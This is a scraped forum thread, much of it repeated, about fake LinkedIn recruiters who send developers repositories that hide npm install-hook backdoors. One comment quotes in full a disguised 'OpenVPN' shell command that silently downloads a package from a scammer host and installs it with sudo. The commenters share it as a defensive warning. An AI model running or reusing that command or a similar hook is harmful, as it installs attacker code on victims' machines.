> a recruiter at a small crypto startup [...] she described a broken proof-of-concept they needed a lead engineer for, and then sent me a public GitHub repo to review. Specifically, she asked me to “check out the deprecated Node modules issue.”
> ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.
> npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.
> The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.
Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.
LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.
We've had fake recruiters that claim to work for us running basically the same scam. These are great fake profiles: LinkedIn Premium, tons of relevant posts, etc... but they don't work for us, and we get angry messages from people saying our recruiter tried to scam them. No, they're not our recruiter despite showing up on our company page on LinkedIn. No number of reports could get them taken down.
I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn, but not all startups have that connection!
My last 2 companies, LinkedIn asked me to add an email address associated with the said company and actually confirm via said email in order to add them to my profile. So, if I worked for FooCompany, I had to have a @FooCompany.com email which is setup by someone at the company itself. Does this not cover what you're talking about?
According to my research, LinkedIn only does this for executive and now recruiter-like titles, but not broadly. You may be able to in order to get "verified on LinkedIn" but it's not a requirement for showing association with a company.
I have the same. The difference is, if you do email verification, you will "verified" status. If not, you can still add the company to your linkedin, just unverified, which is not a label.
> LinkedIn offers no way for $company to disavow users who claim to work for $company - they will appear on the official company page as long as it's in their profile.
I remember getting an office manager, working from Dubai (I think), for my one-person, basically nonexistent company, working from my living room, in New York.
She may still be there. I never bother checking into LI, except making an occasional post, every few months.
I was looking for people who I had worked with at a company that was acquired 15 years ago, and some random person claims to be the CEO of that company.
LinkedIn doesn't have any redressal mechanisms for anything. Someone I knew went through a lot of abuse by a LI user and kept making new accounts to harass. LinkedIn's response - "We did not find anything that violates our ToC". No wonder it has become a cesspool of spam, fraud and abusers.
>I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn
I'd like people to understand that this is a form of corruption. We've normalized many like it. LI knows that the only way to force them to fix the issue is to go through a drawn-out legal process, save a spate of bad press (RIP 60 Minutes), so of course they won't.
I agree with you. I used to work for an ISP that sold kind-of overpriced 1Gbps connections and always wondered why customers bought it. Probably helping things was that we took them out to "events", floor seats at basketball, etc. The company just has a fixed expense, but the people making the decision get free stuff that makes them feel important, and it was kind of a way of transferring the company's money (by not buying the $29/month Internet connection) to themselves. I never felt good about it, but if you say that out loud, everyone will look at you like you're crazy.
AWS did this for us at the time but the 3 people in the company that used AWS services never got to go to these things. So I doubly don't get it.
And I'd like people to understand that, legally, corruption necessarily envolves the government. Informally, corruption has been applied to any type of bureaucracy but, even then, an exchange of favors itself isn't corruption, only if an unauthorized deviation from the involved agent's role happens.
Legally ‘corruption’ doesn’t exist, as in there is no single law saying ‘corruption is illegal’. (What is ‘corruption’ exactly?)
There are laws against bribery, which does generally only apply to the government, but in many locations applies to pseudo-government roles like notaries, apostiloes, lawyers, etc.
There are laws against embezzlement (a type of corruption), and those definitely apply to private individuals.
There are laws against insider trading, a type of corruption. Those generally only apply to businesses/private folks, not the government, with some exceptions.
Then there is the various kinds of fraud, blackmail, etc. Most people would consider them corruption too. Those apply to private individuals and government agents too.
Friends don't let friends use NPM. At this point it is so wildly crazy watching people get owned, I don't understand how anyone uses it when they could use e.g. PNMPM and block one if the most obvious and frequently exploited holes. These tools with arbitrary code execution when trying to download some code have got to stop.
Github / Microsoft could easily fix this, couldn't they? Leaving NPM up in its current state seems criminal, especially since LLMs generate NPM commands so frequently.
Is it possible to fix it in a backwards compatible way? Removing lifecycle scripts is at least a semver major change, and would complicate existing projects relying on packages with lifecycle scripts from upgrading.
This is a real world trolley problem scenario. You can break workflows or you can let everyone get pwned by supply chain attacks. Which is the greater harm?
>These tools with arbitrary code execution when trying to download some code have got to stop
But you still end up with the code on your machine and risk it being ran.
Bigger issue is giant, inscrutible dependency trees.
In this example, if they tried to run the test suite or application, they'd have been in the same boat.
Afaik all or most languages have some way to run arbitrary code at install time but it seems node is the main one getting targeted. I think the bigger issue here is just people running untrusted things.
I agree, but I’d extend that to any language using a package manager at this point. “A little copying is better than a little dependency” even more correct now.
All my current projects have all the code needed in the repo (unless impossible, and aside from a compiler which I guess could also be compromised)
It’s been this bad for a little while, iirc have seen a few of these pop up over the last few years. And that’s just for the few someone’s caught/documented
Things like this where a tried and tested method on Upwork, particularly in the 2021-2022 crypto/nft highs. At some point they branched out from crypto projects and cast a wide net across different categories.
Last I recall was a download of a windows scr (screensaver masquerading) file.
Linkedin is a new low, and I'm sure the platform doesn't really care (look, more jobs), just as ad network companies (Google, Meta) don't really care about scam ads.
I recently went through an interview—o-thon and got a couple obvious scammers. I hope it’s because it’s more prevalent, and not because I seem stupid enough to fall for it!
I'm not. I call it identitythiefresourcecenter.com or its shorter name freecriminalresource.com
I hate how normalized it became for "HR" to require you having a LI page for a job. I don't think its as bad now but for a while it was essentially not possible to get a job without putting all your personal info on linkedin.
surprise is unwarranted as linkedin enshittifies. This type of thing is exactly what happens when neither the user of the service, nor the third party commercial interests are being served by the commercial enterprise. It's a vacuum that scams enter into.
So, this is a crime right? Why isn't there a well known '911' for cybercrime to report things like this to and get help? Society needs to catch up with the actual dangers out there and build support networks for this ASAP. This is organized crime and needs organized defense to deal with it.
I see several comments like this implying nothing can be done. But that is far from the truth. First, an agency that actually answered the phone could coordinate directly with LinkedIn and other tech companies to quickly take down these fake accounts and minimize harm to others. We all know how incredibly hard it is to contact a tech company. Second, an agency that answers the phone could help less technical people find what may have been compromised and push people towards support services if needed. And finally, maybe, they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time.
Taking things down doesn't help much unless the platform has something in place to make it hard to recreate them.
>they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time
At least in the U.S., everyone will cry government overreach and no one will fund it. In other countries, they should probably just ban U.S. platforms unless they're reachable and actually resolve these type of problems.
Won't that require laws that allow the said agency to compel LinkedIn or whatever tech company to actually pay attention and take action? Like laws compelling tech companies to unlock the bootloader once they stop supporting a device.
I wonder why such common sense laws don't exist and who is preventing them from being introduced and passed despite wide public support in general?
I'm not a lawyer but it would be odd if a government agency couldn't communicate a possible threat to a tech company. It is in a company like LinkedIn's best interest to set up a phone number/channels for a centralized agency to communicate potentially malicious accounts and other emerging threats. I suspect that actually already exists for big companies. I doubt they are required to -do- anything without laws but this seems like a win that is easy for all sides. The problem is likely mostly on the US (and other govt) side of things. No clearly defined agency with a clear mandate, resources and leadership to take on this task.
You're describing the FBI or your state level equivalent. And they actually do exactly what you are describing, but in measured efforts. I've even had them come by my place of employment before. They clearly lack the resources to work at this scale though.
The problem with a phone number you suggest is that it will get spammed and abused with fraudulent imposters too (the complete and utter destruction of trust in phone calls and text messages should also be corrected by the government, but that's a different topic).
You won't hear back from them, though. But, at least for US citizens (and possibly for anyone?), this is as far as I know the closest thing there is to an "Internet 911".
There is but the FBI is horrible at responding to cybercrime. They have IC3 but its basically useless. They arent going to help or even contact you if you report a crime to them.
secondary is the effort asymmetry between spinning up one of these scams (near 0 effort) and catching/prosecuting these scams (big effort, astronomical cost)
you arent getting jail for life for this, even in the extremely remote chance you are caught. you are probably getting more than one guy's computer, though.
I don’t know but the us kidnaps ehhh arrests people on foreign land on a regular basis… and brings them to the US to stand trial. So if it’s “important” enough it will be aced upon…
To put it bluntly and perhaps a bit cynically, on the tree of bad things that people do to other people, this is pretty high-hanging fruit. Right up there next to scam phone calls that prey on the elderly while claiming to be from Microsoft support.
It's basically impossible to catch suspects because they are either smart enough to cover their tracks very well, or (more often) live in countries whose governments don't care about their citizens (even pay them for) scamming westerners.
Hard disagree on the scam phone calls. It would be trivial to eradicate them almost completely if the phone operators did the bare minimum to fight against it. At any point in time, any given US phone number is handled by exactly one phone carrier. There is nothing stopping that carrier from requiring name and address to issue that phone number. They already do for 99.99% of their legitimate customers. It would be very easy to make it so that every single phone call originating from the US, including all VOIP calls made with US phone numbers, can be traced back to a specific business or person that can later be sued or prosecuted.
And no, number spoofing isn't an excuse either. We literally solved the much harder problem of email spoofing already. There are, what, 3 carrier networks in all of US? And they cannot do with each other what DMARC did for the hundreds of thousands disjoint organizations that comprise the internet? Please.
Number spoofing is not a solved problem because some carriers, which appear legitimate in all other respects, make a business out of routing your traffic over TDM trunks that don't support caller ID verification, and will claim it's extremely expensive to upgrade these to VOIP.
Fuck 'em? That's not a insurmountable problem in the slightest. Google or Apple could probably solve this problem themselves by simply not ringing the phone for any call that doesn't meet ID verification.
KYC just for a phone number opens the door for societal ostracization and essentially blacklisting of people from infrastructure. This is on par with being unable to open a bank account if the capability is matured. I'd advise that you think long and hard about the consequences of this system being applied against you maliciously before signing on the dotted line.
There already are laws that would prevent the exact thing you're talking about. A requirement to provide name and address would change absolutely nothing. And if legal protections are not enough for you then what are we even talking about? Your phone carrier could disable all your lines this instant with a few clicks if they wanted to; the technical capability is already there. They also have your name and address from listening to phone calls and triangulating cell towers - though realistically they didn't need to do it because you already gave them your details knowingly and willingly as part of starting the service, didn't you?
I'd advise that you think long and hard about the consequences of the current system before saying the alternative is worse.
> KYC just for a phone number opens the door for societal ostracization and essentially blacklisting of people from infrastructure.
We have that in Europe and the world has not fallen apart. On top of that, we don't have even close to the scale of problems with scammers that the US has. I won't deny we don't have scammers because we absolutely have them, but they are far from the scourge they are in the US.
> This is on par with being unable to open a bank account if the capability is matured.
The secret is... we have constitutionally protected rights. Unless you do not pay your bills, your phone line will not get disconnected. And same for bank accounts - every European has the right to a basic banking account, even if you are a target of foreign sanctions [1].
Wonder if they’re effective in going after reports. I’d still report to IC3/FBI/powers that be, too. Just in case someone somewhere has the resources to do something… perhaps a high hope
I get more calls from Google Security than any other thing. Oddly the Pixel's built in scam detection and call screening lets them through without fail. I normally don't have my phone even ring unless it's in my contacts, but saying you are calling from Google is like a magic code.
Been through this 3 times in the last 6 months. They're getting better. Very credible LI profiles, code looks OK if you only take a glance... The bell start ringing when they insist you to run locally their sh*t
I once saw an ad on LinkedIn made up to look like the CBC (Canadian news) linking to a fake video of the Canadian prime minister announcing a crypto investment plan for all Canadians, with a link to sign up. I reported the ad to LinkedIn and shortly after got a reply telling me they investigated and didn’t find any violation of their policies.
Weird, isn't it? Microsoft owns all of LinkedIn, Github and NPM.
All three either have security or stability issues, which seems to get worse, not better, as microsoft goes more into AI. Where is the AI productivity (10x by some accounts!) within the company going to?
Maybe Mac will finally get decent virtualization framework. Downloading random unprotected scripts from internet, like it is 1995 is getting old pretty fast.
Remember to use protection when meeting random people, and putting their junk deep inside your computer!
Or running random curl | bash scripts from GitHub, AUR, NPM are just as bad but many developers here still have dubious assumptions on this bad practice.
The last few weeks tell us how bad this is especially with all the mini-shai hulud's running around.
I've been getting some job offers on LinkedIn, all of them are shady af. Apply using a platform. Apply recording a video of yourself. Apply by resolving a calibration code test (behind a code platform)...
My brother had been unemployed for a long time due to illness, and finally got a "job offer" on LinkedIn that seemed legit to him. They asked for him to write a check to make a deposit for his company laptop (which seems pretty insane on the face of it), but he was desperate and really happy to finally have a job offer.
People who've been unemployed for a long time are often desperate enough to overlook serious red flags that would never catch someone with substantial savings or who's employed and looking to job hop.
A long time ago, I worked for an ISP that sent out the famous "we'll never ask for your passwords" email. Then, about 3 weeks in, they sent out emails asking people for their passwords. If you told me that this was a happy ending, he sent in a check and they sent a laptop and after 2 paychecks released his deposit, I wouldn't be shocked. Some companies are run by idiots. I even know that most companies could probably cover scammed hardware with business insurance, but then I wonder how many flying-by-the-seat-of-their-pants outfits don't have the insurance.
AFAIK most malware like this first sends the contents of your environment variables, ssh keys, passwords, etc. to the server, and then sets up a persistent process that executes arbitrary commands received from the attacker's server at any time, allowing them to run whatever else they want
It’s odd that the operator of the scam knew full stack level details of its implementation. To me, it seems like they were targeting the author, perhaps as something like privilege escalation, identity escalation perhaps.
It’s just so heartwarming to see we are completely indentured to both LinkedIn and GitHub, and forced to curate fake personas and upload our life's work just to secure a paycheck.
Yes, throwaway VPS for interview coding tasks should be the new norm.
I only use LinkedIn for the job postings but they’ve become flooded with nonsense the past few months. Lots of postings from Ladders, Swooped, and various companies like those. I think I’m about to ditch LinkedIn permanently.
Were I still on Linkedin, I could totally have been caught by this. Thank you for this post, and the technical breakdown.
The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.
Oh my goodness! I had this playout as is on Friday. I luckily got on the zoom call 20 mins late. Found it weird that the interviewer was pushy and wanted me to download and run an npm repo. I got out of the call quickly.
I feel like there's only going to be more attempts like this, given the state of how many recently made redundant software engineers out there, and the level of desperation to find a job.
I used to get 2-3 shady crypto offers per week on LinkedIn. It stopped when I started replying with AI generated responses demanding multiple verification steps: official email, official offer link, terms and scope etc. And a note with a firm refusal to run any code or install any package on my machine for "recruitment tasks".
With how many desperate software engineers there are on the market right now looking for a job, there are going to be scumbags out there trying to take advantage of the desperation. Such people are the worst of the worst of humanity.
Thought: they may be targeting software developers on the assumption they may have legit credentials lying around from other employers or for public open source projects, or at a minimum some reputation to exploit towards obtaining commits to the same for supply chain attacks.
I'm working 3 remote jobs right now and I can tell you guys to really watch out.
Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.
They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.
I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:
Ah, c'mon! You went all the way to find out the issue and write about it, and won't do the most interesting part which is to tell us what was the remote script that would end up running!?
As part of a potential interview, I was given login credentials so I could sign in to a site where I was prompted to download a VPN client that would allow me to connect to the company's system (red flags already).
They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):
They know there's a high degree of fraud and they don't do anything about it. They don't care.
I've gotten tricked into sending my resume and talking on the phone with legitimate looking recruiters from Google, Netflix, Meta, OpenAI, Anthropic, etc, but LinkedIn does nothing about it.
> ...buried between walls of commented-out tests, the payload runs anything the server sends back to your machine.
> npm runs prepare automatically after npm install, so just installing dependencies executes the backdoor.
> The instruction to “check out the deprecated Node modules issue” was bait to get me to run npm install.
Great catch. I've not been phished on LinkedIn before. Surprised it's getting this bad.
We've had fake recruiters that claim to work for us running basically the same scam. These are great fake profiles: LinkedIn Premium, tons of relevant posts, etc... but they don't work for us, and we get angry messages from people saying our recruiter tried to scam them. No, they're not our recruiter despite showing up on our company page on LinkedIn. No number of reports could get them taken down.
I finally got it solved by buying drinks for a buddy of mine that works for LinkedIn, but not all startups have that connection!
https://www.theverge.com/news/771210/linkedin-recruiter-exec...
I remember getting an office manager, working from Dubai (I think), for my one-person, basically nonexistent company, working from my living room, in New York.
She may still be there. I never bother checking into LI, except making an occasional post, every few months.
I'd like people to understand that this is a form of corruption. We've normalized many like it. LI knows that the only way to force them to fix the issue is to go through a drawn-out legal process, save a spate of bad press (RIP 60 Minutes), so of course they won't.
AWS did this for us at the time but the 3 people in the company that used AWS services never got to go to these things. So I doubly don't get it.
Not that relying on this is a good idea.
Legally ‘corruption’ doesn’t exist, as in there is no single law saying ‘corruption is illegal’. (What is ‘corruption’ exactly?)
There are laws against bribery, which does generally only apply to the government, but in many locations applies to pseudo-government roles like notaries, apostiloes, lawyers, etc.
There are laws against embezzlement (a type of corruption), and those definitely apply to private individuals.
There are laws against insider trading, a type of corruption. Those generally only apply to businesses/private folks, not the government, with some exceptions.
Then there is the various kinds of fraud, blackmail, etc. Most people would consider them corruption too. Those apply to private individuals and government agents too.
And many more. It’s a smorgasbord.
Edit: typos
or linkedin
But you still end up with the code on your machine and risk it being ran.
Bigger issue is giant, inscrutible dependency trees.
In this example, if they tried to run the test suite or application, they'd have been in the same boat.
Afaik all or most languages have some way to run arbitrary code at install time but it seems node is the main one getting targeted. I think the bigger issue here is just people running untrusted things.
All my current projects have all the code needed in the repo (unless impossible, and aside from a compiler which I guess could also be compromised)
Last I recall was a download of a windows scr (screensaver masquerading) file.
Linkedin is a new low, and I'm sure the platform doesn't really care (look, more jobs), just as ad network companies (Google, Meta) don't really care about scam ads.
Bold strategy cotton, let's see if it pays off.
I hate how normalized it became for "HR" to require you having a LI page for a job. I don't think its as bad now but for a while it was essentially not possible to get a job without putting all your personal info on linkedin.
>they could do the hard job of combining leads and working with appropriate agencies to maybe find and prevent these things over time
At least in the U.S., everyone will cry government overreach and no one will fund it. In other countries, they should probably just ban U.S. platforms unless they're reachable and actually resolve these type of problems.
I wonder why such common sense laws don't exist and who is preventing them from being introduced and passed despite wide public support in general?
The problem with a phone number you suggest is that it will get spammed and abused with fraudulent imposters too (the complete and utter destruction of trust in phone calls and text messages should also be corrected by the government, but that's a different topic).
https://www.fbi.gov/investigate/cyber
You won't hear back from them, though. But, at least for US citizens (and possibly for anyone?), this is as far as I know the closest thing there is to an "Internet 911".
secondary is the effort asymmetry between spinning up one of these scams (near 0 effort) and catching/prosecuting these scams (big effort, astronomical cost)
911 is for emergencies. I don’t think the global 911 service would give any attention to a LinkedIn scam.
It's basically impossible to catch suspects because they are either smart enough to cover their tracks very well, or (more often) live in countries whose governments don't care about their citizens (even pay them for) scamming westerners.
And no, number spoofing isn't an excuse either. We literally solved the much harder problem of email spoofing already. There are, what, 3 carrier networks in all of US? And they cannot do with each other what DMARC did for the hundreds of thousands disjoint organizations that comprise the internet? Please.
I have posted about this before. See here: https://news.ycombinator.com/item?id=35191971
Absolutely true, but droning their data centers might have some policy repercussions.
I'd advise that you think long and hard about the consequences of the current system before saying the alternative is worse.
We have that in Europe and the world has not fallen apart. On top of that, we don't have even close to the scale of problems with scammers that the US has. I won't deny we don't have scammers because we absolutely have them, but they are far from the scourge they are in the US.
> This is on par with being unable to open a bank account if the capability is matured.
The secret is... we have constitutionally protected rights. Unless you do not pay your bills, your phone line will not get disconnected. And same for bank accounts - every European has the right to a basic banking account, even if you are a target of foreign sanctions [1].
[1] https://www.tagesschau.de/ausland/europa/konto-eugh-usa-sank...
Wonder if they’re effective in going after reports. I’d still report to IC3/FBI/powers that be, too. Just in case someone somewhere has the resources to do something… perhaps a high hope
Well, that plus their 50 nuclear warheads and continued ICBM development, amongst other things.
~50% of jobs listed on who is hiring every month require a LinkedIn profile to submit a job application.
In order to find a job, one must bend the knee to LinkedIn first and subjugate themselves to the political (all sides) propaganda on the feed.
https://blog.denv.it/posts/i-was-likely-targeted-by-dprk-in-...
It was likely DPKR.
Someone sends you a repo, says the install is broken, and asks you to take a look.
A lot of developers would run rpm install before thinking twice, especially if they were tired or looking for work.
Oh, Microsoft.
All three either have security or stability issues, which seems to get worse, not better, as microsoft goes more into AI. Where is the AI productivity (10x by some accounts!) within the company going to?
https://www.reddit.com/r/openclaw/comments/1rlet0h/someone_t...
Remember to use protection when meeting random people, and putting their junk deep inside your computer!
It's ok, the guy with glasses from the Daily Show said it's ok.
The last few weeks tell us how bad this is especially with all the mini-shai hulud's running around.
it already has, you can configure intellij to run npm commands in a Docker container.
People who've been unemployed for a long time are often desperate enough to overlook serious red flags that would never catch someone with substantial savings or who's employed and looking to job hop.
Hoping he wasn't scammed.
Github is really slow when it comes to malicious repos. You'll probably get an email randomly six months from now when they finally see it.
That sucks, but it seems to be par for the course, these days.
Yes, throwaway VPS for interview coding tasks should be the new norm.
The company that I currently work for is currently paying for a curation product to scan NPM for vulnerabilities, and to prevent access to typo-squatting packages and new, unverified packages. I suspect that my employer may get to the point of banning NPM entirely, though.
This has nearly gotten me before, and I got lucky.
The only way around it is to be hyper-vigilant if anyone asks you to run any untrusted code on your computer.
Stay vigilant out there everyone.
I don't know. There's a plentiful supply of bad humans.
Often they are not malicious, just unsavory business practice where they want free consulting with no intention of hiring you. Another tell is the person is quick to jump to a take home screening project and they are quite good at getting at engineers heads that "leetcode is outdated/they dont believe in it" and whatever they want you to hear.
They know engineers are desperate for jobs right now and if you don't have a backbone they will exploit it.
I am much wiser now that I work multiple salary jobs remotely I realize these 3 golden rules:
- Don't stay loyal to your employers.
- Don't stay honest to those don't value it.
- Don't stay complacent always innovate.
They made the site look like it was an official OpenVPN page, even though the URL was clearly not affiliated. The method of downloading their "VPN" was to copy and paste a script to run in my terminal. They only showed a small snippet of the command, which started with `( brew install openvpn )`, followed by a copy button. After pasting the full command to inspect it, the entire contents was as follows (with the malicious URL removed):
```
( brew install openvpn ) >/dev/null 2>&1 & ovpn_pid=$!; ( url="https://asshole.scammer.dev/openvpn-mac"; policyCategoryId="-1"; installerArgs="url=$url:departmentId=1765561620401102848:sourceInstall=silent:technicianId=7455681275330027520"; silentInstall="true"; waitForProcess(){ processName="$1"; fixedDelay="$2"; terminate="$3"; while pgrep -f "$processName" >/dev/null; do if [ "$terminate" = "true" ]; then pkill -f "$processName" true; return; fi; delay="${fixedDelay:-$((RANDOM % 50 + 10))}"; sleep "$delay"; done; }; checkForRosetta2(){ waitForProcess "/usr/sbin/softwareupdate"; IFS='.' read -r osvers_major osvers_minor <<< "$(/usr/bin/sw_vers -productVersion)"; if [ "$osvers_major" -ge 11 ]; then if ! sysctl -n machdep.cpu.brand_string | grep -q "Intel"; then pgrep oahd >/dev/null 2>&1 /usr/sbin/softwareupdate --install-rosetta --agree-to-license >/dev/null 2>&1; fi; fi; }; checkForRosetta2; DIRECTORY="/Users/Shared/InstallerWorkspace"; mkdir -p "$DIRECTORY"; configFile="$DIRECTORY/agentinstallconfig.properties"; { echo "policyId=$policyCategoryId"; echo "install_args=$installerArgs"; echo "Silent_Install=$silentInstall"; } > "$configFile"; baseName="$(basename "$url")"; downLoadFile="/Users/Shared/$baseName"; curl --silent --fail --location --url "$url" --output "$downLoadFile" >/dev/null 2>&1 && sudo installer -pkg "$downLoadFile" -target / >/dev/null 2>&1; t=$?; rm -f "$configFile" "$downLoadFile"; exit "$t" ) >/dev/null 2>&1 & so_pid=$!; wait "$ovpn_pid"; ovpn_rc=$?; wait "$so_pid"; so_rc=$?; [ "$ovpn_rc" -eq 0 ] && [ "$so_rc" -eq 0 ]
```
Yeah, no. Be careful out there.
By the way, here's the scammer's "company website": https://jtwllc.com/
Superficially looks legit until you start investigating the finer details.
They know there's a high degree of fraud and they don't do anything about it. They don't care.
I've gotten tricked into sending my resume and talking on the phone with legitimate looking recruiters from Google, Netflix, Meta, OpenAI, Anthropic, etc, but LinkedIn does nothing about it.
I think we need a different kind of PSA if its still so new to people